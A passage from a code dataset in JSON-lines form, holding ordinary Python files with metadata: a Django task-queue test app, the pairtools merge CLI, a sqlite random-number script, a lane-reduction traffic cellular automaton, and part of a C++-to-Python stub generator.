"builtins.super", "line_number": 122, "usage_type": "call"}, {"api_name": "gaia.util.sqlengines", "line_number": 236, "usage_type": "name"}, {"api_name": "gaia.util.sqlengines", "line_number": 237, "usage_type": "name"}, {"api_name": "sqlalchemy.create_engine", "line_number": 237, "usage_type": "call"}, {"api_name": "gaia.util.sqlengines", "line_number": 239, "usage_type": "name"}, {"api_name": "gaia.util.GaiaException", "line_number": 247, "usage_type": "call"}, {"api_name": "sqlalchemy.MetaData", "line_number": 283, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 284, "usage_type": "call"}, {"api_name": "gaia.filters.filter_postgis", "line_number": 326, "usage_type": "call"}, {"api_name": "builtins.str", "line_number": 329, "usage_type": "call"}, {"api_name": "sqlalchemy.text", "line_number": 329, "usage_type": "call"}]} +{"seq_id": "14363433", "text": "from django.conf.urls import url\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.db import models\n\nfrom django_leek.api import Leek, push_task_to_queue\n\nleek = Leek()\n\n\nclass Person(models.Model):\n name = models.CharField(max_length=30)\n\n\n@leek.task\ndef hello(to):\n person = Person.objects.create(name=\"to\")\n person.save()\n\n print('Hello {}!'.format(to))\n\n\ndef index(request):\n if 'queue' in request.GET:\n # Run sync\n hello(to='sync')\n \n # Run async\n hello.offload(to='kwargs')\n hello.offload('args')\n\n push_task_to_queue(hello, to='old')\n return render(request, 'index.html', {'message': '✓ task queued'})\n\n return render(request, 'index.html')\n\n\nurlpatterns = [\n url(r'^$', index),\n]\n", "sub_path": "test_app/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 802, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django_leek.api.Leek", "line_number": 8, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 11, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 12, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 12, "usage_type": "name"}, {"api_name": "django_leek.api.push_task_to_queue", "line_number": 32, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 33, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 35, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 39, "usage_type": "call"}]} +{"seq_id": "372404318", "text": "#!/usr/bin/env python\nimport sys\nimport glob\nimport math\nimport subprocess\nimport click\n\nfrom ..lib import fileio, pairsam_format, headerops\nfrom . import cli, common_io_options\n\nUTIL_NAME = \"pairtools_merge\"\n\n\n@cli.command()\n@click.argument(\n \"pairs_path\",\n nargs=-1,\n type=str,\n)\n@click.option(\n \"-o\",\n \"--output\",\n type=str,\n default=\"\",\n help=\"output file.\"\n \" If the path ends with .gz/.lz4, the output is compressed by bgzip/lz4c.\"\n \" By default, the output is printed into stdout.\",\n)\n@click.option(\n \"--max-nmerge\",\n type=int,\n default=8,\n show_default=True,\n help=\"The maximal number of inputs merged at once. For more, store \"\n \"merged intermediates in temporary files.\",\n)\n@click.option(\n \"--tmpdir\",\n type=str,\n default=\"\",\n help=\"Custom temporary folder for merged intermediates.\",\n)\n@click.option(\n \"--memory\",\n type=str,\n default=\"2G\",\n show_default=True,\n help=\"The amount of memory used by default.\",\n)\n@click.option(\n \"--compress-program\",\n type=str,\n default=\"\",\n show_default=True,\n help=\"A binary to compress temporary merged chunks. \"\n \"Must decompress input when the flag -d is provided. \"\n \"Suggested alternatives: lz4c, gzip, lzop, snzip. \"\n \"NOTE: fails silently if the command syntax is wrong. \",\n)\n@click.option(\n \"--nproc\",\n type=int,\n default=8,\n help=\"Number of threads for merging.\",\n show_default=True,\n)\n@click.option(\n \"--nproc-in\",\n type=int,\n default=1,\n show_default=True,\n help=\"Number of processes used by the auto-guessed input decompressing command.\",\n)\n@click.option(\n \"--nproc-out\",\n type=int,\n default=8,\n show_default=True,\n help=\"Number of processes used by the auto-guessed output compressing command.\",\n)\n@click.option(\n \"--cmd-in\",\n type=str,\n default=None,\n help=\"A command to decompress the input. \"\n \"If provided, fully overrides the auto-guessed command. \"\n \"Does not work with stdin. \"\n \"Must read input from stdin and print output into stdout. \"\n \"EXAMPLE: pbgzip -dc -n 3\",\n)\n@click.option(\n \"--cmd-out\",\n type=str,\n default=None,\n help=\"A command to compress the output. \"\n \"If provided, fully overrides the auto-guessed command. \"\n \"Does not work with stdout. \"\n \"Must read input from stdin and print output into stdout. \"\n \"EXAMPLE: pbgzip -c -n 8\",\n)\n@click.option(\n \"--keep-first-header/--no-keep-first-header\",\n default=False,\n show_default=True,\n help=\"Keep the first header or merge the headers together. Default: merge headers.\",\n)\n@click.option(\n \"--concatenate/--no-concatenate\",\n default=False,\n show_default=True,\n help=\"Simple concatenate instead of merging sorted files.\",\n)\n# Using custom IO options\n\n\ndef merge(\n pairs_path, output, max_nmerge, tmpdir, memory, compress_program, nproc, **kwargs\n):\n \"\"\"Merge .pairs/.pairsam files.\n By default, assumes that the files are sorted and maintains the sorting.\n\n Merge triu-flipped sorted pairs/pairsam files. If present, the @SQ records\n of the SAM header must be identical; the sorting order of\n these lines is taken from the first file in the list.\n The ID fields of the @PG records of the SAM header are modified with a\n numeric suffix to produce unique records.\n The other unique SAM and non-SAM header lines are copied into the output header.\n\n PAIRS_PATH : upper-triangular flipped sorted .pairs/.pairsam files to merge\n or a group/groups of .pairs/.pairsam files specified by a wildcard. For\n paths ending in .gz/.lz4, the files are decompressed by bgzip/lz4c.\n\n \"\"\"\n merge_py(\n pairs_path,\n output,\n max_nmerge,\n tmpdir,\n memory,\n compress_program,\n nproc,\n **kwargs,\n )\n\n\ndef merge_py(\n pairs_path, output, max_nmerge, tmpdir, memory, compress_program, nproc, **kwargs\n):\n paths = sum([glob.glob(mask) for mask in pairs_path], [])\n\n if len(paths) == 0:\n raise ValueError(f\"No input paths: {pairs_path}\")\n\n outstream = fileio.auto_open(\n output,\n mode=\"w\",\n nproc=kwargs.get(\"nproc_out\"),\n command=kwargs.get(\"cmd_out\", None),\n )\n\n # if there is only one input, bypass merging and do not modify the header\n if len(paths) == 1:\n instream = fileio.auto_open(\n paths[0],\n mode=\"r\",\n nproc=kwargs.get(\"nproc_in\"),\n command=kwargs.get(\"cmd_in\", None),\n )\n for line in instream:\n outstream.write(line)\n if outstream != sys.stdout:\n outstream.close()\n\n return\n\n headers = []\n for path in paths:\n f = fileio.auto_open(\n path,\n mode=\"r\",\n nproc=kwargs.get(\"nproc_in\"),\n command=kwargs.get(\"cmd_in\", None),\n )\n h, _ = headerops.get_header(f)\n headers.append(h)\n f.close()\n # Skip other headers if keep_first_header is True (False by default):\n if kwargs.get(\"keep_first_header\", False):\n break\n\n if not headerops.all_same_columns(headers):\n raise ValueError(\"Input pairs cannot contain different columns\")\n\n merged_header = headerops.merge_headers(headers)\n merged_header = headerops.append_new_pg(merged_header, ID=UTIL_NAME, PN=UTIL_NAME)\n\n outstream.writelines((l + \"\\n\" for l in merged_header))\n outstream.flush()\n\n # If concatenation requested instead of merging sorted input:\n if kwargs.get(\"concatenate\", False):\n command = r\"\"\"\n /bin/bash -c 'export LC_COLLATE=C; export LANG=C; cat \"\"\"\n # Full merge that keeps the ordered input:\n else:\n command = r\"\"\"\n /bin/bash -c 'export LC_COLLATE=C; export LANG=C; sort\n -k {0},{0} -k {1},{1} -k {2},{2}n -k {3},{3}n -k {4},{4} \n --merge \n --field-separator=$'\\''{5}'\\''\n {6}\n {7}\n {8}\n -S {9}\n {10}\n \"\"\".replace(\n \"\\n\", \" \"\n ).format(\n pairsam_format.COL_C1 + 1,\n pairsam_format.COL_C2 + 1,\n pairsam_format.COL_P1 + 1,\n pairsam_format.COL_P2 + 1,\n pairsam_format.COL_PTYPE + 1,\n pairsam_format.PAIRSAM_SEP_ESCAPE,\n \" --parallel={} \".format(nproc) if nproc > 1 else \" \",\n \" --batch-size={} \".format(max_nmerge) if max_nmerge else \" \",\n \" --temporary-directory={} \".format(tmpdir) if tmpdir else \" \",\n memory,\n (\n \" --compress-program={} \".format(compress_program)\n if compress_program\n else \" \"\n ),\n )\n for path in paths:\n if kwargs.get(\"cmd_in\", None):\n command += r\"\"\" <(cat {} | {} | sed -n -e '\\''/^[^#]/,$p'\\'')\"\"\".format(\n path, kwargs[\"cmd_in\"]\n )\n elif path.endswith(\".gz\"):\n command += (\n r\"\"\" <(bgzip -dc -@ {} {} | sed -n -e '\\''/^[^#]/,$p'\\'')\"\"\".format(\n kwargs[\"nproc_in\"], path\n )\n )\n elif path.endswith(\".lz4\"):\n command += r\"\"\" <(lz4c -dc {} | sed -n -e '\\''/^[^#]/,$p'\\'')\"\"\".format(\n path\n )\n else:\n command += r\"\"\" <(sed -n -e '\\''/^[^#]/,$p'\\'' {})\"\"\".format(path)\n command += \"'\"\n\n subprocess.check_call(command, shell=True, stdout=outstream)\n\n if outstream != sys.stdout:\n outstream.close()\n\n\nif __name__ == \"__main__\":\n merge()\n", "sub_path": "pairtools/cli/merge.py", "file_name": "merge.py", "file_ext": "py", "file_size_in_byte": 7587, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "click.argument", "line_number": 15, "usage_type": "call"}, {"api_name": "click.option", "line_number": 20, "usage_type": "call"}, {"api_name": "click.option", "line_number": 29, "usage_type": "call"}, {"api_name": "click.option", "line_number": 37, "usage_type": "call"}, {"api_name": "click.option", "line_number": 43, "usage_type": "call"}, {"api_name": "click.option", "line_number": 50, "usage_type": "call"}, {"api_name": "click.option", "line_number": 60, "usage_type": "call"}, {"api_name": "click.option", "line_number": 67, "usage_type": "call"}, {"api_name": "click.option", "line_number": 74, "usage_type": "call"}, {"api_name": "click.option", "line_number": 81, "usage_type": "call"}, {"api_name": "click.option", "line_number": 91, "usage_type": "call"}, {"api_name": "click.option", "line_number": 101, "usage_type": "call"}, {"api_name": "click.option", "line_number": 107, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 149, "usage_type": "call"}, {"api_name": "lib.fileio.auto_open", "line_number": 154, "usage_type": "call"}, {"api_name": "lib.fileio", "line_number": 154, "usage_type": "name"}, {"api_name": "lib.fileio.auto_open", "line_number": 163, "usage_type": "call"}, {"api_name": "lib.fileio", "line_number": 163, "usage_type": "name"}, {"api_name": "sys.stdout", "line_number": 171, "usage_type": "attribute"}, {"api_name": "lib.fileio.auto_open", "line_number": 178, "usage_type": "call"}, {"api_name": "lib.fileio", "line_number": 178, "usage_type": "name"}, {"api_name": "lib.headerops.get_header", "line_number": 184, "usage_type": "call"}, {"api_name": "lib.headerops", "line_number": 184, "usage_type": "name"}, {"api_name": "lib.headerops.all_same_columns", "line_number": 191, "usage_type": "call"}, {"api_name": "lib.headerops", "line_number": 191, "usage_type": "name"}, {"api_name": "lib.headerops.merge_headers", "line_number": 194, "usage_type": "call"}, {"api_name": "lib.headerops", "line_number": 194, "usage_type": "name"}, {"api_name": "lib.headerops.append_new_pg", "line_number": 195, "usage_type": "call"}, {"api_name": "lib.headerops", "line_number": 195, "usage_type": "name"}, {"api_name": "lib.pairsam_format.COL_C1", "line_number": 219, "usage_type": "attribute"}, {"api_name": "lib.pairsam_format", "line_number": 219, "usage_type": "name"}, {"api_name": "lib.pairsam_format.COL_C2", "line_number": 220, "usage_type": "attribute"}, {"api_name": "lib.pairsam_format", "line_number": 220, "usage_type": "name"}, {"api_name": "lib.pairsam_format.COL_P1", "line_number": 221, "usage_type": "attribute"}, {"api_name": "lib.pairsam_format", "line_number": 221, "usage_type": "name"}, {"api_name": "lib.pairsam_format.COL_P2", "line_number": 222, "usage_type": "attribute"}, {"api_name": "lib.pairsam_format", "line_number": 222, "usage_type": "name"}, {"api_name": "lib.pairsam_format.COL_PTYPE", "line_number": 223, "usage_type": "attribute"}, {"api_name": "lib.pairsam_format", "line_number": 223, "usage_type": "name"}, {"api_name": "lib.pairsam_format.PAIRSAM_SEP_ESCAPE", "line_number": 224, "usage_type": "attribute"}, {"api_name": "lib.pairsam_format", "line_number": 224, "usage_type": "name"}, {"api_name": "subprocess.check_call", "line_number": 254, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 256, "usage_type": "attribute"}]} +{"seq_id": "469460225", "text": "import sqlite3\r\nfrom random import randint\r\n\r\n# create database and connect to it\r\nwith sqlite3.connect(\"newnum.db\") as connection:\r\n\t\r\n\tc = connection.cursor()\r\n\t\r\n\tc.execute(\"DROP TABLE if exists aggregation\")\r\n\t\r\n\tc.execute(\"CREATE TABLE aggregation(num int)\")\r\n\t\r\n\t# insert number into the database\r\n\tfor i in range(100):\r\n\t\tc.execute(\"INSERT INTO aggregation VALUES(?)\",\r\n\t\t(randint(0,100),))\r\n\t\r\n# close connection with the database\r\nc.close()", "sub_path": "numbers1.py", "file_name": "numbers1.py", "file_ext": "py", "file_size_in_byte": 449, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sqlite3.connect", "line_number": 5, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "418762628", "text": "# Ver. 4\n\nimport random\nimport copy\nimport sys\nimport matplotlib.pyplot as plt\nimport collections\n\n\ndef rand_ints_nodup(a, b, k):\n ns = []\n while len(ns) < k:\n n = random.randint(a, b)\n if not n in ns:\n ns.append(n)\n return ns\n\ndef setcar_list(car, line, lines, cell):\n index = rand_ints_nodup(0, (cell-1)*(line-2), car)\n for i in range(car):\n lines[index[i]%3+1][index[i]//3] = 1\n return lines\n\ndef process(line, cell, lines, tmplist):\n forward = 0\n next_forward = 0\n for c in range(cell, -1, -1):\n for l in range(1, line-2+1):\n if lines[l][c] == 1 and c <= cell-1 and (lines[l][c+1] == 0 or lines[l][c+1] == 2):\n forward = 1\n next_forward = 1\n \n # 自分より前にどのくらい空きスペースがあるかどうか\n while(not lines[l][c+forward]):\n forward += 1\n \n # 隣の車線のスペースを算出\n left_forward = 0\n right_forward = 0\n if l==1:\n if lines[l+1][c] == 0: #隣のレーンに車が並んでいないか. 並んでいたらぶつかるかもしれない.\n right_forward = 1\n while(right_forward <= cell - c and not lines[l+1][c+right_forward]):\n right_forward += 1\n next_forward = right_forward\n elif l==2:\n if lines[l-1][c] == 0:\n left_forward = 1\n while(left_forward <= cell - c and not lines[l-1][c+left_forward]):\n left_forward += 1\n next_forward = left_forward\n right_forward = 0\n elif l==3: # lane3は左前が空いていれば強制的にlane2に移動する.\n left_forward = 1\n while(left_forward <= cell - c and not lines[l- 1][c+left_forward]):\n left_forward += 1\n next_forward = left_forward\n \n # 隣の車線の方が空いているとき\n if next_forward > forward and l==1:\n tmplist[l+1][c+1] = 1\n tmplist[l][c] = 0\n elif next_forward > forward and l==2:\n if left_forward:\n tmplist[l-1][c+1] = 1\n tmplist[l][c] = 0\n else:\n tmplist[l+1][c+1] = 1\n tmplist[l][c] = 0\n elif next_forward > forward and l==3:\n tmplist[l-1][c+1] = 1 # 左前に進む\n tmplist[l][c] = 0\n # 前方の方が空いているとき.\n elif next_forward <= forward and lines[l][c+1] == 0:\n if l == 2 and lines[l+1][c] == 1: #lane2で右に車がいれば, 譲る\n tmplist[l][c] = 1\n elif l==3 and lines[l-1][c] == 0 and lines[l-1][c+1] == 0: # lane3 は左に行ける余裕があればいく.\n tmplist[l-1][c+1] = 1\n tmplist[l][c] = 0\n else:\n tmplist[l][c+1] = 1\n tmplist[l][c] = 0\n elif c == cell-1:\n if lines[l][c] == 1 and lines[l][c+1] == 1:\n tmplist[l][c] = 0\n else:\n if lines[l][c] == 1:\n tmplist[l][c] = 1\n return tmplist\n\n\ndef analysis(lines):\n jam = 0\n for i in range(1, 4):\n for j in range(len(lines[0])-2):\n if lines[i][j] == 1 and lines[i][j+1] == 1:\n jam += 1\n return jam\n\ndef main(version):\n cell = 20\n line = 2+3\n lines = [[0]*cell, [0]*cell, [0]*cell, [0]*cell, [0]*cell]\n lines[0] = [2]*(cell+1)\n lines[1].append(1)\n lines[2].append(1)\n lines[3].append(1)\n lines[4] = [2]*(cell+1)\n car = 30\n lines = setcar_list(car, line, lines, cell)\n redc = 8 # cell num for lane reduction\n for i in range(redc):\n lines[3][-2 - i] = 2\n if version == 1:\n lines[3][-cell+3] = 2\n lines[3][-cell+4] = 2\n elif version == 2:\n lines[3][-10] = 2\n lines[3][-11] = 2\n tmplist = copy.deepcopy(lines)\n for i in range(line):\n print(lines[i])\n print()\n \n jamlist = []\n trialnum = 7000\n for _ in range(trialnum):\n tmplist = process(line, cell, lines, tmplist)\n for i in range(1, 4):\n if tmplist[i][0] == 0:\n tmplist[i][0] = random.randint(0,1)\n #for i in range(line):\n # print(tmplist[i])\n #print()\n jamlist.append(analysis(tmplist))\n lines = copy.deepcopy(tmplist)\n \n tmpdic = dict(collections.Counter(jamlist))\n print(tmpdic)\n data = sorted(tmpdic.items(), key=lambda x:x[0])\n dataX = [data[i][0] for i in range(len(data))]\n dataY = [data[i][1] for i in range(len(data))]\n plt.xlabel(\"jam level\")\n plt.ylabel(\"frequency\")\n plt.grid()\n plt.plot(dataX,dataY)\n #fig = plt.figure()\n plt.savefig(\"img{}.png\".format(version))\n plt.show()\n \nif __name__ == \"__main__\":\n main(0)\n main(1)\n main(2)", "sub_path": "ce-automaton.py", "file_name": "ce-automaton.py", "file_ext": "py", "file_size_in_byte": 5350, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "random.randint", "line_number": 13, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 120, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 131, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 136, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 149, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 149, "usage_type": "name"}]} +{"seq_id": "626891061", "text": "#!/usr/bin/python\n\n# Copyright (c) 2021, Takuma.\n# Respect intellectual property, and do not delete these comments.\n# Thanks to Gurgarath for his help !\n\n# -*- coding: -*-\n\nimport glob\nimport os\nimport re\nfrom typing import *\nfrom typing import IO\n\n__author__ = \"Takuma\"\n__version__ = \"1.0\"\n__status__ = \"development\"\n\n# CONFIGURATION BLOCK\nOUTPUT_DIRECTORY: str = 'bin'\nINPUT_DIRECTORY: str = 'src'\n\n# DEVELOPMENT CONSTANTS\nFUNCTIONS_TYPE_CORRESPONDENCES: dict = {\n\t\"GetLong\": \"int\",\n\t\"GetDouble\": \"int\",\n\t\"GetFloat\": \"float\",\n\t\"GetByte\": \"int\",\n\t\"GetInteger\": \"int\",\n\t\"GetUnsignedLong\": \"int\",\n\t\"GetUnsignedInteger\": \"int\",\n\t\"GetString\": \"str\",\n\t\"GetWindow\": \"int\",\n\t\"GetBoolean\": \"bool\",\n\t\"GetTextInstance\": \"int\",\n\t\"GetThingInstance\": \"int\",\n\t\"GetImageInstance\": \"int\",\n\t\"GetExpandedImageInstance\": \"int\",\n\t\"GetObject\": \"object\"\n}\n\nLETTER_TYPE_CORRESPONDENCES: dict = {\n\t'i': \"int\",\n\t's': \"str\",\n\t'c': \"int\",\n\t'l': \"int\",\n\t'f': \"float\",\n\t'b': \"bool\"\n}\n\nCONSTANTS_FUNCTION: Dict[str, type] = {\n\t\"PyModule_AddIntConstant\": int,\n\t\"PyModule_AddStringConstant\": str\n\t# Add new type in Constant's render method\n}\n\nRESERVED_KEYWORD: list = [\n\t\"False\", \"def\", \"if\", \"raise\", \"None\", \"del\", \"import\", \"return\", \"True\", \"elif\", \"in\", \"try\", \"and\", \"else\", \"is\",\n\t\"while\", \"as\", \"except\", \"lambda\", \"with\", \"assert\", \"finally\", \"nonlocal\", \"yield\", \"break\", \"for\", \"not\", \"class\",\n\t\"from\", \"or\", \"continue\", \"global\", \"pass\"\n]\n\n\ndef get_python_type_by_function(arg_type: str) -> str:\n\t\"\"\"\n\tReturn python type for c++ arg_type with function as reference\n\t:param arg_type: argument's type in C++\n\t:return: Python's equivalent for arg_type\n\t\"\"\"\n\tif arg_type in FUNCTIONS_TYPE_CORRESPONDENCES:\n\t\treturn FUNCTIONS_TYPE_CORRESPONDENCES[arg_type]\n\traise Exception(\"Unknown C++ type: {}\".format(arg_type))\n\n\ndef get_python_type_by_letter(arg_type: str) -> str:\n\t\"\"\"\n\tReturn python type for c++ arg_type with letter as reference\n\t:param arg_type: argument's type in C++\n\t:return: Python's equivalent for arg_type\n\t\"\"\"\n\tif arg_type in LETTER_TYPE_CORRESPONDENCES:\n\t\treturn LETTER_TYPE_CORRESPONDENCES[arg_type]\n\traise Exception(\"Unknown C++ type: {}\".format(arg_type))\n\n\ndef comment_remover(text) -> str:\n\t\"\"\"\n\tRemove comments from C++ text\n\t:param text: str: C++ code\n\t:return: str: code uncomment.\n\t\"\"\"\n\n\tdef replacer(match):\n\t\ts: str = match.group(0)\n\t\tif s.startswith('/'):\n\t\t\treturn \" \"\n\t\telse:\n\t\t\treturn s\n\n\tpattern = re.compile(\n\t\tr'//.*?$|/\\*.*?\\*/|\\'(?:\\\\.|[^\\\\\\'])*\\'|\"(?:\\\\.|[^\\\\\"])*\"',\n\t\tre.DOTALL | re.MULTILINE\n\t)\n\treturn re.sub(pattern, replacer, text)\n\n\ndef write_head_block(file: IO, ) -> NoReturn:\n\t\"\"\"\n\tWrite in file the common file's header\n\t:param file: file\n\t\"\"\"\n\tfile.write(\"\"\"from typing import *\n\n\n__author__ = \"Takuma\"\n__version__ = \"1.0\"\n__status__ = \"development\"\n\n\n# Copyright (c) 2021, Takuma.\n# Respect intellectual property, and do not delete these comments.\n# Thanks to Gurgarath for his help for one regex !\n\"\"\")\n\n\ndef check_render_space() -> NoReturn:\n\t\"\"\"\n\tCheck if render file can be created by check if output directory is/can be created\n\t\"\"\"\n\tif not os.path.exists(OUTPUT_DIRECTORY):\n\t\ttry:\n\t\t\tos.makedirs(\"bin\")\n\t\texcept Exception:\n\t\t\traise Exception(\"Can't create output directory\")\n\n\nclass Argument:\n\t\"\"\"\n\tModel an argument, and allows to determine its equivalent in Python.\n\t\"\"\"\n\n\tdef __init__(self, name: str, arg_type: Union[str, None]) -> NoReturn:\n\t\t\"\"\"\n\t\tArgument class constructor.\n\t\t:param name: Argument's name\n\t\t:param arg_type: Argument's type\n\t\t\"\"\"\n\t\tself.name: str = name\n\t\tself.arg_type: Union[str, None] = arg_type\n\t\tself.check_name()\n\n\tdef check_name(self) -> NoReturn:\n\t\t\"\"\"\n\t\tCheck if name doesn't contains reserved word\n\t\t\tExample:\n\t\t\t\tIt changes from to _from\n\t\t\t\tIt changes cWindows->Var to cWindows_Var\n\t\t\"\"\"\n\t\tif self.name in RESERVED_KEYWORD:\n\t\t\tself.name = '_' + self.name\n\t\tself.name = self.name.replace(\".\", \"_\")\n\n\tdef render(self) -> Union[str, None]:\n\t\t\"\"\"\n\t\tGet Python's equivalent of current argument\n\t\t:return: str: \"name: type\"\n\t\t\"\"\"\n\t\tif self.name and self.arg_type:\n\t\t\treturn f\"{self.name}: {(get_python_type_by_function(self.arg_type))}\"\n\t\telif self.name:\n\t\t\treturn f\"{self.name}\"\n\n\tdef __str__(self) -> str:\n\t\t\"\"\"\n\t\tGet Argument's name\n\t\t:return: str: Argument's name\n\t\t\"\"\"\n\t\treturn self.name\n\n\nclass Method:\n\t\"\"\"\n\tModeling and processing of a function\n\t\"\"\"\n\n\tdef __init__(self) -> NoReturn:\n\t\t\"\"\"\n\t\tInitialization for Function class\n\t\t\"\"\"\n\t\tself.name: str = str()\n\t\tself.arguments: List[Argument] = list()\n\t\tself.returned_value: Union[None, str] = None\n\t\tself.content: str = str()\n\t\tself.f_return: List[Argument] = list()\n\n\tdef set_name(self, name: str) -> NoReturn:\n\t\t\"\"\"\n\t\tSet function's name\n\t\t:param name: str: Function's name\n\t\t\"\"\"\n\t\tself.name = name\n\n\tdef add_argument(self, argument: Argument) -> NoReturn:\n\t\t\"\"\"\n\t\tAdd one function's argument\n\t\t:param argument: Argument: arg\n\t\t\"\"\"\n\t\tself.arguments.append(argument)\n\n\tdef get_name(self) -> str:\n\t\t\"\"\"\n\t\tGet function's name\n\t\t:return: str: function's name\n\t\t\"\"\"\n\t\treturn self.name\n\n\tdef set_content(self, content: str) -> NoReturn:\n\t\t\"\"\"\n\t\tSet function's content\n\t\t:param content: str: function's content\n\t\t\"\"\"\n\t\tself.content = content\n\n\tdef set_returned_value(self, value: str) -> NoReturn:\n\t\t\"\"\"\n\t\tSet function's returned values\n\t\t:param value: str: value\n\t\t\"\"\"\n\t\tself.returned_value = value\n\n\tdef get_argument(self, index: int = -1) -> Union[List[Argument], Argument]:\n\t\t\"\"\"\n\t\tGet argument(s)\n\t\t:param index: index of element\n\t\t:return: Union[List[Argument], Argument]: argument(s)\n\t\t\"\"\"\n\t\tif 0 <= index < len(self.arguments):\n\t\t\treturn self.arguments[index]\n\t\treturn self.arguments\n\n\tdef process(self) -> NoReturn:\n\t\t\"\"\"\n\t\tRead content and parse arguments + return\n\t\t\"\"\"\n\t\targs_matches = re.findall(\"PyTuple_(.*)\\(.*,\\s*(.*)\\s*,\\s*&(.*)\\)\\)\", self.content)\n\t\targs_matches = sorted(args_matches, key=lambda tup: tup[1])\n\t\tused_id: List[int] = list()\n\t\tunknown_format: bool = False\n\t\tfor match in args_matches:\n\t\t\tif match[2] not in used_id:\n\t\t\t\tused_id.append(match[2])\n\t\t\telse:\n\t\t\t\tunknown_format = True\n\t\tif unknown_format:\n\t\t\targ_count: int = int(max(args_matches, key=lambda index: index[1])[1])\n\t\t\tfor i in range(0, arg_count + 1):\n\t\t\t\targument: Argument = Argument(f\"unknown_{i}=None\", None)\n\t\t\t\tself.add_argument(argument)\n\t\t\treturn\n\n\t\tfor match in args_matches:\n\t\t\targ: Argument = Argument(match[2], match[0])\n\t\t\tself.add_argument(arg)\n\n\t\treturn_match: List = re.findall(\"return\\s*Py_BuildValue\\(\\\"(.*)\\\"\", self.content)\n\t\tif return_match:\n\t\t\tif len(return_match) == 1:\n\t\t\t\treturn_format: str = return_match[0].replace('#', '').replace('*', '') # Remove unknown char Python\n\t\t\t\tif len(return_format) == 1:\n\t\t\t\t\tself.set_returned_value(get_python_type_by_letter(return_format.lower()))\n\t\t\t\telse:\n\t\t\t\t\toutput_str: str = \"Tuple[\"\n\t\t\t\t\tfor letter in return_format:\n\t\t\t\t\t\tif letter == '(':\n\t\t\t\t\t\t\toutput_str += \"Tuple[\"\n\t\t\t\t\t\telif letter == ')':\n\t\t\t\t\t\t\toutput_str += \"], \"\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\toutput_str += get_python_type_by_letter(letter.lower())\n\t\t\t\t\t\t\toutput_str += \", \"\n\t\t\t\t\toutput_str = output_str[:-2] + \"]\"\n\t\t\t\t\tself.set_returned_value(output_str)\n\n\tdef render(self) -> str:\n\t\t\"\"\"\n\t\tRender a function\n\t\t:return: str: function's render\n\t\t\"\"\"\n\t\tif self.name != str():\n\t\t\trender: str = f\"def {self.name}(\" # def xxx(self,_\n\n\t\t\t# Arguments\n\t\t\tif self.arguments:\n\t\t\t\tfor arg in self.arguments:\n\t\t\t\t\trender += arg.render() + \", \"\n\t\t\t\trender = render[:-2] + \")\"\n\t\t\telse:\n\t\t\t\trender += \")\"\n\n\t\t\t# Return\n\t\t\trender += \" -> \"\n\t\t\tif self.returned_value:\n\t\t\t\trender += self.returned_value\n\t\t\telse:\n\t\t\t\trender += \"NoReturn\"\n\t\t\trender += \":\"\n\n\t\t\t# Body\n\t\t\trender += \"\\n\\tpass\\n\"\n\n\t\t\treturn render\n\t\treturn \"\"\n\n\tdef __str__(self) -> str:\n\t\t\"\"\"\n\t\tString for represent a functions\n\t\t:return: str: representation\n\t\t\"\"\"\n\t\treturn \"{}({})\".format(\n\t\t\tself.name,\n\t\t\t\", \".join(str(arg) for arg in self.arguments)\n\t\t)\n\n\nclass Constant:\n\t\"\"\"\n\tClass to modeling a constant\n\t\"\"\"\n\n\tdef __init__(self, name: str, value: type) -> NoReturn:\n\t\t\"\"\"\n\t\tInitialization of Constant\n\t\t:param name: str: Constant's name\n\t\t:param value: Union[str, int]: Constant's value\n\t\t\"\"\"\n\t\tself.name: str = name\n\t\tself.value: type = value\n\n\tdef render(self) -> str:\n\t\t\"\"\"\n\t\tReturn a string who represents the constant in Python\n\t\t:return: str: representation\n\t\t\"\"\"\n\t\ttype_output: Union[str, int] = \"\"\n\t\tif self.value is int:\n\t\t\ttype_output = 1\n\t\telif self.value is str:\n\t\t\ttype_output = \"''\"\n\t\treturn f\"{self.name} = {type_output}\"\n\n\tdef __str__(self) -> str:\n\t\t\"\"\"\n\t\tRepresentation in Python\n\t\t:return: str: representation\n\t\t\"\"\"\n\t\treturn f\"{self.name} = {self.value}\"\n\n\nclass 